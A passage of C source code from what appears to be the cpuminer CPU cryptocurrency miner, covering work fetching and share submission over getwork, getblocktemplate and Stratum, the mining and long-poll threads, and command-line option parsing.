688 | pthread_mutex_lock(&stats_lock); 689 | for (i = 0; i < opt_n_threads; i++) 690 | hashrate += thr_hashrates[i]; 691 | result ? accepted_count++ : rejected_count++; 692 | pthread_mutex_unlock(&stats_lock); 693 | 694 | sprintf(s, hashrate >= 1e6 ? "%.0f" : "%.2f", 1e-3 * hashrate); 695 | applog(LOG_INFO, "accepted: %lu/%lu (%.2f%%), %s khash/s %s", 696 | accepted_count, 697 | accepted_count + rejected_count, 698 | 100. * accepted_count / (accepted_count + rejected_count), 699 | s, 700 | result ? "(yay!!!)" : "(booooo)"); 701 | 702 | if (opt_debug && reason) 703 | applog(LOG_DEBUG, "DEBUG: reject reason: %s", reason); 704 | } 705 | 706 | static bool submit_upstream_work(CURL *curl, struct work *work) 707 | { 708 | json_t *val, *res, *reason; 709 | char data_str[2 * sizeof(work->data) + 1]; 710 | char s[345]; 711 | int i; 712 | bool rc = false; 713 | 714 | /* pass if the previous hash is not the current previous hash */ 715 | if (!submit_old && memcmp(work->data + 1, g_work.data + 1, 32)) { 716 | if (opt_debug) 717 | applog(LOG_DEBUG, "DEBUG: stale work detected, discarding"); 718 | return true; 719 | } 720 | 721 | if (have_stratum) { 722 | uint32_t ntime, nonce; 723 | char ntimestr[9], noncestr[9], *xnonce2str, *req; 724 | 725 | le32enc(&ntime, work->data[17]); 726 | le32enc(&nonce, work->data[19]); 727 | bin2hex(ntimestr, (const unsigned char *)(&ntime), 4); 728 | bin2hex(noncestr, (const unsigned char *)(&nonce), 4); 729 | xnonce2str = abin2hex(work->xnonce2, work->xnonce2_len); 730 | req = malloc(256 + strlen(rpc_user) + strlen(work->job_id) + 2 * work->xnonce2_len); 731 | sprintf(req, 732 | "{\"method\": \"mining.submit\", \"params\": [\"%s\", \"%s\", \"%s\", \"%s\", \"%s\"], \"id\":4}", 733 | rpc_user, work->job_id, xnonce2str, ntimestr, noncestr); 734 | free(xnonce2str); 735 | 736 | rc = stratum_send_line(&stratum, req); 737 | free(req); 738 | if (unlikely(!rc)) { 739 | applog(LOG_ERR, "submit_upstream_work stratum_send_line failed"); 740 | goto out; 741 | } 742 | } else if (work->txs) { 743 | char *req; 744 | 745 | for (i = 0; i < ARRAY_SIZE(work->data); i++) 746 | be32enc(work->data + i, work->data[i]); 747 | bin2hex(data_str, (unsigned char *)work->data, 80); 748 | if (work->workid) { 749 | char *params; 750 | val = json_object(); 751 | json_object_set_new(val, "workid", json_string(work->workid)); 752 | params = json_dumps(val, 0); 753 | json_decref(val); 754 | req = malloc(128 + 2*80 + strlen(work->txs) + strlen(params)); 755 | sprintf(req, 756 | "{\"method\": \"submitblock\", \"params\": [\"%s%s\", %s], \"id\":1}\r\n", 757 | data_str, work->txs, params); 758 | free(params); 759 | } else { 760 | req = malloc(128 + 2*80 + strlen(work->txs)); 761 | sprintf(req, 762 | "{\"method\": \"submitblock\", \"params\": [\"%s%s\"], \"id\":1}\r\n", 763 | data_str, work->txs); 764 | } 765 | val = json_rpc_call(curl, rpc_url, rpc_userpass, req, NULL, 0); 766 | free(req); 767 | if (unlikely(!val)) { 768 | applog(LOG_ERR, "submit_upstream_work json_rpc_call failed"); 769 | goto out; 770 | } 771 | 772 | res = json_object_get(val, "result"); 773 | if (json_is_object(res)) { 774 | char *res_str; 775 | bool sumres = false; 776 | void *iter = json_object_iter(res); 777 | while (iter) { 778 | if (json_is_null(json_object_iter_value(iter))) { 779 | sumres = true; 780 | break; 781 | } 782 | iter = json_object_iter_next(res, iter); 783 | } 784 | res_str = json_dumps(res, 0); 785 | share_result(sumres, res_str); 786 | free(res_str); 787 | } else 788 | share_result(json_is_null(res), json_string_value(res)); 789 | 790 | json_decref(val); 791 | } else { 792 | /* build hex string */ 793 | for (i = 0; i < ARRAY_SIZE(work->data); i++) 794 | le32enc(work->data + i, work->data[i]); 795 | bin2hex(data_str, (unsigned char *)work->data, sizeof(work->data)); 796 | 797 | /* build JSON-RPC request */ 798 | sprintf(s, 799 | "{\"method\": \"getwork\", \"params\": [ \"%s\" ], \"id\":1}\r\n", 800 | data_str); 801 | 802 | /* issue JSON-RPC request */ 803 | val = json_rpc_call(curl, rpc_url, rpc_userpass, s, NULL, 0); 804 | if (unlikely(!val)) { 805 | applog(LOG_ERR, "submit_upstream_work json_rpc_call failed"); 806 | goto out; 807 | } 808 | 809 | res = json_object_get(val, "result"); 810 | reason = json_object_get(val, "reject-reason"); 811 | share_result(json_is_true(res), reason ? json_string_value(reason) : NULL); 812 | 813 | json_decref(val); 814 | } 815 | 816 | rc = true; 817 | 818 | out: 819 | return rc; 820 | } 821 | 822 | static const char *getwork_req = 823 | "{\"method\": \"getwork\", \"params\": [], \"id\":0}\r\n"; 824 | 825 | #define GBT_CAPABILITIES "[\"coinbasetxn\", \"coinbasevalue\", \"longpoll\", \"workid\"]" 826 | #define GBT_RULES "[\"segwit\"]" 827 | 828 | static const char *gbt_req = 829 | "{\"method\": \"getblocktemplate\", \"params\": [{\"capabilities\": " 830 | GBT_CAPABILITIES ", \"rules\": " GBT_RULES "}], \"id\":0}\r\n"; 831 | static const char *gbt_lp_req = 832 | "{\"method\": \"getblocktemplate\", \"params\": [{\"capabilities\": " 833 | GBT_CAPABILITIES ", \"rules\": " GBT_RULES ", \"longpollid\": \"%s\"}], \"id\":0}\r\n"; 834 | 835 | static bool get_upstream_work(CURL *curl, struct work *work) 836 | { 837 | json_t *val; 838 | int err; 839 | bool rc; 840 | struct timeval tv_start, tv_end, diff; 841 | 842 | start: 843 | gettimeofday(&tv_start, NULL); 844 | val = json_rpc_call(curl, rpc_url, rpc_userpass, 845 | have_gbt ? gbt_req : getwork_req, 846 | &err, have_gbt ? JSON_RPC_QUIET_404 : 0); 847 | gettimeofday(&tv_end, NULL); 848 | 849 | if (have_stratum) { 850 | if (val) 851 | json_decref(val); 852 | return true; 853 | } 854 | 855 | if (!have_gbt && !allow_getwork) { 856 | applog(LOG_ERR, "No usable protocol"); 857 | if (val) 858 | json_decref(val); 859 | return false; 860 | } 861 | 862 | if (have_gbt && allow_getwork && !val && err == CURLE_OK) { 863 | applog(LOG_INFO, "getblocktemplate failed, falling back to getwork"); 864 | have_gbt = false; 865 | goto start; 866 | } 867 | 868 | if (!val) 869 | return false; 870 | 871 | if (have_gbt) { 872 | rc = gbt_work_decode(json_object_get(val, "result"), work); 873 | if (!have_gbt) { 874 | json_decref(val); 875 | goto start; 876 | } 877 | } else 878 | rc = work_decode(json_object_get(val, "result"), work); 879 | 880 | if (opt_debug && rc) { 881 | timeval_subtract(&diff, &tv_end, &tv_start); 882 | applog(LOG_DEBUG, "DEBUG: got new work in %d ms", 883 | diff.tv_sec * 1000 + diff.tv_usec / 1000); 884 | } 885 | 886 | json_decref(val); 887 | 888 | return rc; 889 | } 890 | 891 | static void workio_cmd_free(struct workio_cmd *wc) 892 | { 893 | if (!wc) 894 | return; 895 | 896 | switch (wc->cmd) { 897 | case WC_SUBMIT_WORK: 898 | work_free(wc->u.work); 899 | free(wc->u.work); 900 | break; 901 | default: /* do nothing */ 902 | break; 903 | } 904 | 905 | memset(wc, 0, sizeof(*wc)); /* poison */ 906 | free(wc); 907 | } 908 | 909 | static bool workio_get_work(struct workio_cmd *wc, CURL *curl) 910 | { 911 | struct work *ret_work; 912 | int failures = 0; 913 | 914 | ret_work = calloc(1, sizeof(*ret_work)); 915 | if (!ret_work) 916 | return false; 917 | 918 | /* obtain new work from bitcoin via JSON-RPC */ 919 | while (!get_upstream_work(curl, ret_work)) { 920 | if (unlikely((opt_retries >= 0) && (++failures > opt_retries))) { 921 | applog(LOG_ERR, "json_rpc_call failed, terminating workio thread"); 922 | free(ret_work); 923 | return false; 924 | } 925 | 926 | /* pause, then restart work-request loop */ 927 | applog(LOG_ERR, "json_rpc_call failed, retry after %d seconds", 928 | opt_fail_pause); 929 | sleep(opt_fail_pause); 930 | } 931 | 932 | /* send work to requesting thread */ 933 | if (!tq_push(wc->thr->q, ret_work)) 934 | free(ret_work); 935 | 936 | return true; 937 | } 938 | 939 | static bool workio_submit_work(struct workio_cmd *wc, CURL *curl) 940 | { 941 | int failures = 0; 942 | 943 | /* submit solution to bitcoin via JSON-RPC */ 944 | while (!submit_upstream_work(curl, wc->u.work)) { 945 | if (unlikely((opt_retries >= 0) && (++failures > opt_retries))) { 946 | applog(LOG_ERR, "...terminating workio thread"); 947 | return false; 948 | } 949 | 950 | /* pause, then restart work-request loop */ 951 | applog(LOG_ERR, "...retry after %d seconds", 952 | opt_fail_pause); 953 | sleep(opt_fail_pause); 954 | } 955 | 956 | return true; 957 | } 958 | 959 | static void *workio_thread(void *userdata) 960 | { 961 | struct thr_info *mythr = userdata; 962 | CURL *curl; 963 | bool ok = true; 964 | 965 | curl = curl_easy_init(); 966 | if (unlikely(!curl)) { 967 | applog(LOG_ERR, "CURL initialization failed"); 968 | return NULL; 969 | } 970 | 971 | while (ok) { 972 | struct workio_cmd *wc; 973 | 974 | /* wait for workio_cmd sent to us, on our queue */ 975 | wc = tq_pop(mythr->q, NULL); 976 | if (!wc) { 977 | ok = false; 978 | break; 979 | } 980 | 981 | /* process workio_cmd */ 982 | switch (wc->cmd) { 983 | case WC_GET_WORK: 984 | ok = workio_get_work(wc, curl); 985 | break; 986 | case WC_SUBMIT_WORK: 987 | ok = workio_submit_work(wc, curl); 988 | break; 989 | 990 | default: /* should never happen */ 991 | ok = false; 992 | break; 993 | } 994 | 995 | workio_cmd_free(wc); 996 | } 997 | 998 | tq_freeze(mythr->q); 999 | curl_easy_cleanup(curl); 1000 | 1001 | return NULL; 1002 | } 1003 | 1004 | static bool get_work(struct thr_info *thr, struct work *work) 1005 | { 1006 | struct workio_cmd *wc; 1007 | struct work *work_heap; 1008 | 1009 | if (opt_benchmark) { 1010 | memset(work->data, 0x55, 76); 1011 | work->data[17] = swab32(time(NULL)); 1012 | memset(work->data + 19, 0x00, 52); 1013 | work->data[20] = 0x80000000; 1014 | work->data[31] = 0x00000280; 1015 | memset(work->target, 0x00, sizeof(work->target)); 1016 | return true; 1017 | } 1018 | 1019 | /* fill out work request message */ 1020 | wc = calloc(1, sizeof(*wc)); 1021 | if (!wc) 1022 | return false; 1023 | 1024 | wc->cmd = WC_GET_WORK; 1025 | wc->thr = thr; 1026 | 1027 | /* send work request to workio thread */ 1028 | if (!tq_push(thr_info[work_thr_id].q, wc)) { 1029 | workio_cmd_free(wc); 1030 | return false; 1031 | } 1032 | 1033 | /* wait for response, a unit of work */ 1034 | work_heap = tq_pop(thr->q, NULL); 1035 | if (!work_heap) 1036 | return false; 1037 | 1038 | /* copy returned work into storage provided by caller */ 1039 | memcpy(work, work_heap, sizeof(*work)); 1040 | free(work_heap); 1041 | 1042 | return true; 1043 | } 1044 | 1045 | static bool submit_work(struct thr_info *thr, const struct work *work_in) 1046 | { 1047 | struct workio_cmd *wc; 1048 | 1049 | /* fill out work request message */ 1050 | wc = calloc(1, sizeof(*wc)); 1051 | if (!wc) 1052 | return false; 1053 | 1054 | wc->u.work = malloc(sizeof(*work_in)); 1055 | if (!wc->u.work) 1056 | goto err_out; 1057 | 1058 | wc->cmd = WC_SUBMIT_WORK; 1059 | wc->thr = thr; 1060 | work_copy(wc->u.work, work_in); 1061 | 1062 | /* send solution to workio thread */ 1063 | if (!tq_push(thr_info[work_thr_id].q, wc)) 1064 | goto err_out; 1065 | 1066 | return true; 1067 | 1068 | err_out: 1069 | workio_cmd_free(wc); 1070 | return false; 1071 | } 1072 | 1073 | static void stratum_gen_work(struct stratum_ctx *sctx, struct work *work) 1074 | { 1075 | unsigned char merkle_root[64]; 1076 | int i; 1077 | 1078 | pthread_mutex_lock(&sctx->work_lock); 1079 | 1080 | free(work->job_id); 1081 | work->job_id = strdup(sctx->job.job_id); 1082 | work->xnonce2_len = sctx->xnonce2_size; 1083 | work->xnonce2 = realloc(work->xnonce2, sctx->xnonce2_size); 1084 | memcpy(work->xnonce2, sctx->job.xnonce2, sctx->xnonce2_size); 1085 | 1086 | /* Generate merkle root */ 1087 | sha256d(merkle_root, sctx->job.coinbase, sctx->job.coinbase_size); 1088 | for (i = 0; i < sctx->job.merkle_count; i++) { 1089 | memcpy(merkle_root + 32, sctx->job.merkle[i], 32); 1090 | sha256d(merkle_root, merkle_root, 64); 1091 | } 1092 | 1093 | /* Increment extranonce2 */ 1094 | for (i = 0; i < sctx->xnonce2_size && !++sctx->job.xnonce2[i]; i++); 1095 | 1096 | /* Assemble block header */ 1097 | memset(work->data, 0, 128); 1098 | work->data[0] = le32dec(sctx->job.version); 1099 | for (i = 0; i < 8; i++) 1100 | work->data[1 + i] = le32dec((uint32_t *)sctx->job.prevhash + i); 1101 | for (i = 0; i < 8; i++) 1102 | work->data[9 + i] = be32dec((uint32_t *)merkle_root + i); 1103 | work->data[17] = le32dec(sctx->job.ntime); 1104 | work->data[18] = le32dec(sctx->job.nbits); 1105 | work->data[20] = 0x80000000; 1106 | work->data[31] = 0x00000280; 1107 | 1108 | pthread_mutex_unlock(&sctx->work_lock); 1109 | 1110 | if (opt_debug) { 1111 | char *xnonce2str = abin2hex(work->xnonce2, work->xnonce2_len); 1112 | applog(LOG_DEBUG, "DEBUG: job_id='%s' extranonce2=%s ntime=%08x", 1113 | work->job_id, xnonce2str, swab32(work->data[17])); 1114 | free(xnonce2str); 1115 | } 1116 | 1117 | if (opt_algo == ALGO_SCRYPT) 1118 | diff_to_target(work->target, sctx->job.diff / 65536.0); 1119 | else 1120 | diff_to_target(work->target, sctx->job.diff); 1121 | } 1122 | 1123 | static void *miner_thread(void *userdata) 1124 | { 1125 | struct thr_info *mythr = userdata; 1126 | int thr_id = mythr->id; 1127 | struct work work = {{0}}; 1128 | uint32_t max_nonce; 1129 | uint32_t end_nonce = 0xffffffffU / opt_n_threads * (thr_id + 1) - 0x20; 1130 | unsigned char *scratchbuf = NULL; 1131 | char s[16]; 1132 | int i; 1133 | 1134 | /* Set worker threads to nice 19 and then preferentially to SCHED_IDLE 1135 | * and if that fails, then SCHED_BATCH. No need for this to be an 1136 | * error if it fails */ 1137 | if (!opt_benchmark) { 1138 | setpriority(PRIO_PROCESS, 0, 19); 1139 | drop_policy(); 1140 | } 1141 | 1142 | /* Cpu affinity only makes sense if the number of threads is a multiple 1143 | * of the number of CPUs */ 1144 | if (num_processors > 1 && opt_n_threads % num_processors == 0) { 1145 | if (!opt_quiet) 1146 | applog(LOG_INFO, "Binding thread %d to cpu %d", 1147 | thr_id, thr_id % num_processors); 1148 | affine_to_cpu(thr_id, thr_id % num_processors); 1149 | } 1150 | 1151 | if (opt_algo == ALGO_SCRYPT) { 1152 | scratchbuf = scrypt_buffer_alloc(opt_scrypt_n); 1153 | if (!scratchbuf) { 1154 | applog(LOG_ERR, "scrypt buffer allocation failed"); 1155 | pthread_mutex_lock(&applog_lock); 1156 | exit(1); 1157 | } 1158 | } 1159 | 1160 | while (1) { 1161 | unsigned long hashes_done; 1162 | struct timeval tv_start, tv_end, diff; 1163 | int64_t max64; 1164 | int rc; 1165 | 1166 | if (have_stratum) { 1167 | while (time(NULL) >= g_work_time + 120) 1168 | sleep(1); 1169 | pthread_mutex_lock(&g_work_lock); 1170 | if (work.data[19] >= end_nonce && !memcmp(work.data, g_work.data, 76)) 1171 | stratum_gen_work(&stratum, &g_work); 1172 | } else { 1173 | int min_scantime = have_longpoll ? LP_SCANTIME : opt_scantime; 1174 | /* obtain new work from internal workio thread */ 1175 | pthread_mutex_lock(&g_work_lock); 1176 | if (!have_stratum && 1177 | (time(NULL) - g_work_time >= min_scantime || 1178 | work.data[19] >= end_nonce)) { 1179 | work_free(&g_work); 1180 | if (unlikely(!get_work(mythr, &g_work))) { 1181 | applog(LOG_ERR, "work retrieval failed, exiting " 1182 | "mining thread %d", mythr->id); 1183 | pthread_mutex_unlock(&g_work_lock); 1184 | goto out; 1185 | } 1186 | g_work_time = have_stratum ? 0 : time(NULL); 1187 | } 1188 | if (have_stratum) { 1189 | pthread_mutex_unlock(&g_work_lock); 1190 | continue; 1191 | } 1192 | } 1193 | if (memcmp(work.data, g_work.data, 76)) { 1194 | work_free(&work); 1195 | work_copy(&work, &g_work); 1196 | work.data[19] = 0xffffffffU / opt_n_threads * thr_id; 1197 | } else 1198 | work.data[19]++; 1199 | pthread_mutex_unlock(&g_work_lock); 1200 | work_restart[thr_id].restart = 0; 1201 | 1202 | /* adjust max_nonce to meet target scan time */ 1203 | if (have_stratum) 1204 | max64 = LP_SCANTIME; 1205 | else 1206 | max64 = g_work_time + (have_longpoll ? LP_SCANTIME : opt_scantime) 1207 | - time(NULL); 1208 | max64 *= thr_hashrates[thr_id]; 1209 | if (max64 <= 0) { 1210 | switch (opt_algo) { 1211 | case ALGO_SCRYPT: 1212 | max64 = opt_scrypt_n < 16 ? 0x3ffff : 0x3fffff / opt_scrypt_n; 1213 | break; 1214 | case ALGO_SHA256D: 1215 | max64 = 0x1fffff; 1216 | break; 1217 | } 1218 | } 1219 | if (work.data[19] + max64 > end_nonce) 1220 | max_nonce = end_nonce; 1221 | else 1222 | max_nonce = work.data[19] + max64; 1223 | 1224 | hashes_done = 0; 1225 | gettimeofday(&tv_start, NULL); 1226 | 1227 | /* scan nonces for a proof-of-work hash */ 1228 | switch (opt_algo) { 1229 | case ALGO_SCRYPT: 1230 | rc = scanhash_scrypt(thr_id, work.data, scratchbuf, work.target, 1231 | max_nonce, &hashes_done, opt_scrypt_n); 1232 | break; 1233 | 1234 | case ALGO_SHA256D: 1235 | rc = scanhash_sha256d(thr_id, work.data, work.target, 1236 | max_nonce, &hashes_done); 1237 | break; 1238 | 1239 | default: 1240 | /* should never happen */ 1241 | goto out; 1242 | } 1243 | 1244 | /* record scanhash elapsed time */ 1245 | gettimeofday(&tv_end, NULL); 1246 | timeval_subtract(&diff, &tv_end, &tv_start); 1247 | if (diff.tv_usec || diff.tv_sec) { 1248 | pthread_mutex_lock(&stats_lock); 1249 | thr_hashrates[thr_id] = 1250 | hashes_done / (diff.tv_sec + 1e-6 * diff.tv_usec); 1251 | pthread_mutex_unlock(&stats_lock); 1252 | } 1253 | if (!opt_quiet) { 1254 | sprintf(s, thr_hashrates[thr_id] >= 1e6 ? "%.0f" : "%.2f", 1255 | 1e-3 * thr_hashrates[thr_id]); 1256 | applog(LOG_INFO, "thread %d: %lu hashes, %s khash/s", 1257 | thr_id, hashes_done, s); 1258 | } 1259 | if (opt_benchmark && thr_id == opt_n_threads - 1) { 1260 | double hashrate = 0.; 1261 | for (i = 0; i < opt_n_threads && thr_hashrates[i]; i++) 1262 | hashrate += thr_hashrates[i]; 1263 | if (i == opt_n_threads) { 1264 | sprintf(s, hashrate >= 1e6 ? "%.0f" : "%.2f", 1e-3 * hashrate); 1265 | applog(LOG_INFO, "Total: %s khash/s", s); 1266 | } 1267 | } 1268 | 1269 | /* if nonce found, submit work */ 1270 | if (rc && !opt_benchmark && !submit_work(mythr, &work)) 1271 | break; 1272 | } 1273 | 1274 | out: 1275 | tq_freeze(mythr->q); 1276 | 1277 | return NULL; 1278 | } 1279 | 1280 | static void restart_threads(void) 1281 | { 1282 | int i; 1283 | 1284 | for (i = 0; i < opt_n_threads; i++) 1285 | work_restart[i].restart = 1; 1286 | } 1287 | 1288 | static void *longpoll_thread(void *userdata) 1289 | { 1290 | struct thr_info *mythr = userdata; 1291 | CURL *curl = NULL; 1292 | char *copy_start, *hdr_path = NULL, *lp_url = NULL; 1293 | bool need_slash = false; 1294 | 1295 | curl = curl_easy_init(); 1296 | if (unlikely(!curl)) { 1297 | applog(LOG_ERR, "CURL initialization failed"); 1298 | goto out; 1299 | } 1300 | 1301 | start: 1302 | hdr_path = tq_pop(mythr->q, NULL); 1303 | if (!hdr_path) 1304 | goto out; 1305 | 1306 | /* full URL */ 1307 | if (strstr(hdr_path, "://")) { 1308 | lp_url = hdr_path; 1309 | hdr_path = NULL; 1310 | } 1311 | 1312 | /* absolute path, on current server */ 1313 | else { 1314 | copy_start = (*hdr_path == '/') ? (hdr_path + 1) : hdr_path; 1315 | if (rpc_url[strlen(rpc_url) - 1] != '/') 1316 | need_slash = true; 1317 | 1318 | lp_url = malloc(strlen(rpc_url) + strlen(copy_start) + 2); 1319 | if (!lp_url) 1320 | goto out; 1321 | 1322 | sprintf(lp_url, "%s%s%s", rpc_url, need_slash ? "/" : "", copy_start); 1323 | } 1324 | 1325 | applog(LOG_INFO, "Long-polling activated for %s", lp_url); 1326 | 1327 | while (1) { 1328 | json_t *val, *res, *soval; 1329 | char *req = NULL; 1330 | int err; 1331 | 1332 | if (have_gbt) { 1333 | req = malloc(strlen(gbt_lp_req) + strlen(lp_id) + 1); 1334 | sprintf(req, gbt_lp_req, lp_id); 1335 | } 1336 | val = json_rpc_call(curl, lp_url, rpc_userpass, 1337 | req ? req : getwork_req, &err, 1338 | JSON_RPC_LONGPOLL); 1339 | free(req); 1340 | if (have_stratum) { 1341 | if (val) 1342 | json_decref(val); 1343 | goto out; 1344 | } 1345 | if (likely(val)) { 1346 | bool rc; 1347 | applog(LOG_INFO, "LONGPOLL pushed new work"); 1348 | res = json_object_get(val, "result"); 1349 | soval = json_object_get(res, "submitold"); 1350 | submit_old = soval ? json_is_true(soval) : false; 1351 | pthread_mutex_lock(&g_work_lock); 1352 | work_free(&g_work); 1353 | if (have_gbt) 1354 | rc = gbt_work_decode(res, &g_work); 1355 | else 1356 | rc = work_decode(res, &g_work); 1357 | if (rc) { 1358 | time(&g_work_time); 1359 | restart_threads(); 1360 | } 1361 | pthread_mutex_unlock(&g_work_lock); 1362 | json_decref(val); 1363 | } else { 1364 | pthread_mutex_lock(&g_work_lock); 1365 | g_work_time -= LP_SCANTIME; 1366 | pthread_mutex_unlock(&g_work_lock); 1367 | if (err == CURLE_OPERATION_TIMEDOUT) { 1368 | restart_threads(); 1369 | } else { 1370 | have_longpoll = false; 1371 | restart_threads(); 1372 | free(hdr_path); 1373 | free(lp_url); 1374 | lp_url = NULL; 1375 | sleep(opt_fail_pause); 1376 | goto start; 1377 | } 1378 | } 1379 | } 1380 | 1381 | out: 1382 | free(hdr_path); 1383 | free(lp_url); 1384 | tq_freeze(mythr->q); 1385 | if (curl) 1386 | curl_easy_cleanup(curl); 1387 | 1388 | return NULL; 1389 | } 1390 | 1391 | static bool stratum_handle_response(char *buf) 1392 | { 1393 | json_t *val, *err_val, *res_val, *id_val; 1394 | json_error_t err; 1395 | bool ret = false; 1396 | 1397 | val = JSON_LOADS(buf, &err); 1398 | if (!val) { 1399 | applog(LOG_INFO, "JSON decode failed(%d): %s", err.line, err.text); 1400 | goto out; 1401 | } 1402 | 1403 | res_val = json_object_get(val, "result"); 1404 | err_val = json_object_get(val, "error"); 1405 | id_val = json_object_get(val, "id"); 1406 | 1407 | if (!id_val || json_is_null(id_val) || !res_val) 1408 | goto out; 1409 | 1410 | share_result(json_is_true(res_val), 1411 | err_val ? json_string_value(json_array_get(err_val, 1)) : NULL); 1412 | 1413 | ret = true; 1414 | out: 1415 | if (val) 1416 | json_decref(val); 1417 | 1418 | return ret; 1419 | } 1420 | 1421 | static void *stratum_thread(void *userdata) 1422 | { 1423 | struct thr_info *mythr = userdata; 1424 | char *s; 1425 | 1426 | stratum.url = tq_pop(mythr->q, NULL); 1427 | if (!stratum.url) 1428 | goto out; 1429 | applog(LOG_INFO, "Starting Stratum on %s", stratum.url); 1430 | 1431 | while (1) { 1432 | int failures = 0; 1433 | 1434 | while (!stratum.curl) { 1435 | pthread_mutex_lock(&g_work_lock); 1436 | g_work_time = 0; 1437 | pthread_mutex_unlock(&g_work_lock); 1438 | restart_threads(); 1439 | 1440 | if (!stratum_connect(&stratum, stratum.url) || 1441 | !stratum_subscribe(&stratum) || 1442 | !stratum_authorize(&stratum, rpc_user, rpc_pass)) { 1443 | stratum_disconnect(&stratum); 1444 | if (opt_retries >= 0 && ++failures > opt_retries) { 1445 | applog(LOG_ERR, "...terminating workio thread"); 1446 | tq_push(thr_info[work_thr_id].q, NULL); 1447 | goto out; 1448 | } 1449 | applog(LOG_ERR, "...retry after %d seconds", opt_fail_pause); 1450 | sleep(opt_fail_pause); 1451 | } 1452 | } 1453 | 1454 | if (stratum.job.job_id && 1455 | (!g_work_time || strcmp(stratum.job.job_id, g_work.job_id))) { 1456 | pthread_mutex_lock(&g_work_lock); 1457 | stratum_gen_work(&stratum, &g_work); 1458 | time(&g_work_time); 1459 | pthread_mutex_unlock(&g_work_lock); 1460 | if (stratum.job.clean) { 1461 | applog(LOG_INFO, "Stratum requested work restart"); 1462 | restart_threads(); 1463 | } 1464 | } 1465 | 1466 | if (!stratum_socket_full(&stratum, 120)) { 1467 | applog(LOG_ERR, "Stratum connection timed out"); 1468 | s = NULL; 1469 | } else 1470 | s = stratum_recv_line(&stratum); 1471 | if (!s) { 1472 | stratum_disconnect(&stratum); 1473 | applog(LOG_ERR, "Stratum connection interrupted"); 1474 | continue; 1475 | } 1476 | if (!stratum_handle_method(&stratum, s)) 1477 | stratum_handle_response(s); 1478 | free(s); 1479 | } 1480 | 1481 | out: 1482 | return NULL; 1483 | } 1484 | 1485 | static void show_version_and_exit(void) 1486 | { 1487 | printf(PACKAGE_STRING "\n built on " __DATE__ "\n features:" 1488 | #if defined(USE_ASM) && defined(__i386__) 1489 | " i386" 1490 | #endif 1491 | #if defined(USE_ASM) && defined(__x86_64__) 1492 | " x86_64" 1493 | " PHE" 1494 | #endif 1495 | #if defined(USE_ASM) && (defined(__i386__) || defined(__x86_64__)) 1496 | " SSE2" 1497 | #endif 1498 | #if defined(__x86_64__) && defined(USE_AVX) 1499 | " AVX" 1500 | #endif 1501 | #if defined(__x86_64__) && defined(USE_AVX2) 1502 | " AVX2" 1503 | #endif 1504 | #if defined(__x86_64__) && defined(USE_XOP) 1505 | " XOP" 1506 | #endif 1507 | #if defined(USE_ASM) && defined(__arm__) && defined(__APCS_32__) 1508 | " ARM" 1509 | #if defined(__ARM_ARCH_5E__) || defined(__ARM_ARCH_5TE__) || \ 1510 | defined(__ARM_ARCH_5TEJ__) || defined(__ARM_ARCH_6__) || \ 1511 | defined(__ARM_ARCH_6J__) || defined(__ARM_ARCH_6K__) || \ 1512 | defined(__ARM_ARCH_6M__) || defined(__ARM_ARCH_6T2__) || \ 1513 | defined(__ARM_ARCH_6Z__) || defined(__ARM_ARCH_6ZK__) || \ 1514 | defined(__ARM_ARCH_7__) || \ 1515 | defined(__ARM_ARCH_7A__) || defined(__ARM_ARCH_7R__) || \ 1516 | defined(__ARM_ARCH_7M__) || defined(__ARM_ARCH_7EM__) 1517 | " ARMv5E" 1518 | #endif 1519 | #if defined(__ARM_NEON__) 1520 | " NEON" 1521 | #endif 1522 | #endif 1523 | #if defined(USE_ASM) && (defined(__powerpc__) || defined(__ppc__) || defined(__PPC__)) 1524 | " PowerPC" 1525 | #if defined(__ALTIVEC__) 1526 | " AltiVec" 1527 | #endif 1528 | #endif 1529 | "\n"); 1530 | 1531 | printf("%s\n", curl_version()); 1532 | #ifdef JANSSON_VERSION 1533 | printf("libjansson %s\n", JANSSON_VERSION); 1534 | #endif 1535 | exit(0); 1536 | } 1537 | 1538 | static void show_usage_and_exit(int status) 1539 | { 1540 | if (status) 1541 | fprintf(stderr, "Try `" PROGRAM_NAME " --help' for more information.\n"); 1542 | else 1543 | printf(usage); 1544 | exit(status); 1545 | } 1546 | 1547 | static void strhide(char *s) 1548 | { 1549 | if (*s) *s++ = 'x'; 1550 | while (*s) *s++ = '\0'; 1551 | } 1552 | 1553 | static void parse_config(json_t *config, char *pname, char *ref); 1554 | 1555 | static void parse_arg(int key, char *arg, char *pname) 1556 | { 1557 | char *p; 1558 | int v, i; 1559 | 1560 | switch(key) { 1561 | case 'a': 1562 | for (i = 0; i < ARRAY_SIZE(algo_names); i++) { 1563 | v = strlen(algo_names[i]); 1564 | if (!strncmp(arg, algo_names[i], v)) { 1565 | if (arg[v] == '\0') { 1566 | opt_algo = i; 1567 | break; 1568 | } 1569 | if (arg[v] == ':' && i == ALGO_SCRYPT) { 1570 | char *ep; 1571 | v = strtol(arg+v+1, &ep, 10); 1572 | if (*ep || v & (v-1) || v < 2) 1573 | continue; 1574 | opt_algo = i; 1575 | opt_scrypt_n = v; 1576 | break; 1577 | } 1578 | } 1579 | } 1580 | if (i == ARRAY_SIZE(algo_names)) { 1581 | fprintf(stderr, "%s: unknown algorithm -- '%s'\n", 1582 | pname, arg); 1583 | show_usage_and_exit(1); 1584 | } 1585 | break; 1586 | case 'B': 1587 | opt_background = true; 1588 | break; 1589 | case 'c': { 1590 | json_error_t err; 1591 | json_t *config = JSON_LOAD_FILE(arg, &err); 1592 | if (!json_is_object(config)) { 1593 | if (err.line < 0) 1594 | fprintf(stderr, "%s: %s\n", pname, err.text); 1595 | else 1596 | fprintf(stderr, "%s: %s:%d: %s\n", 1597 | pname, arg, err.line, err.text); 1598 | exit(1); 1599 | } 1600 | parse_config(config, pname, arg); 1601 | json_decref(config); 1602 | break; 1603 | } 1604 | case 'q': 1605 | opt_quiet = true; 1606 | break; 1607 | case 'D': 1608 | opt_debug = true; 1609 | break; 1610 | case 'p': 1611 | free(rpc_pass); 1612 | rpc_pass = strdup(arg); 1613 | strhide(arg); 1614 | break; 1615 | case 'P': 1616 | opt_protocol = true; 1617 | break; 1618 | case 'r': 1619 | v = atoi(arg); 1620 | if (v < -1 || v > 9999) /* sanity check */ 1621 | show_usage_and_exit(1); 1622 | opt_retries = v; 1623 | break; 1624 | case 'R': 1625 | v = atoi(arg); 1626 | if (v < 1 || v > 9999) /* sanity check */ 1627 | show_usage_and_exit(1); 1628 | opt_fail_pause = v; 1629 | break; 1630 | case 's': 1631 | v = atoi(arg); 1632 | if (v < 1 || v > 9999) /* sanity check */ 1633 | show_usage_and_exit(1); 1634 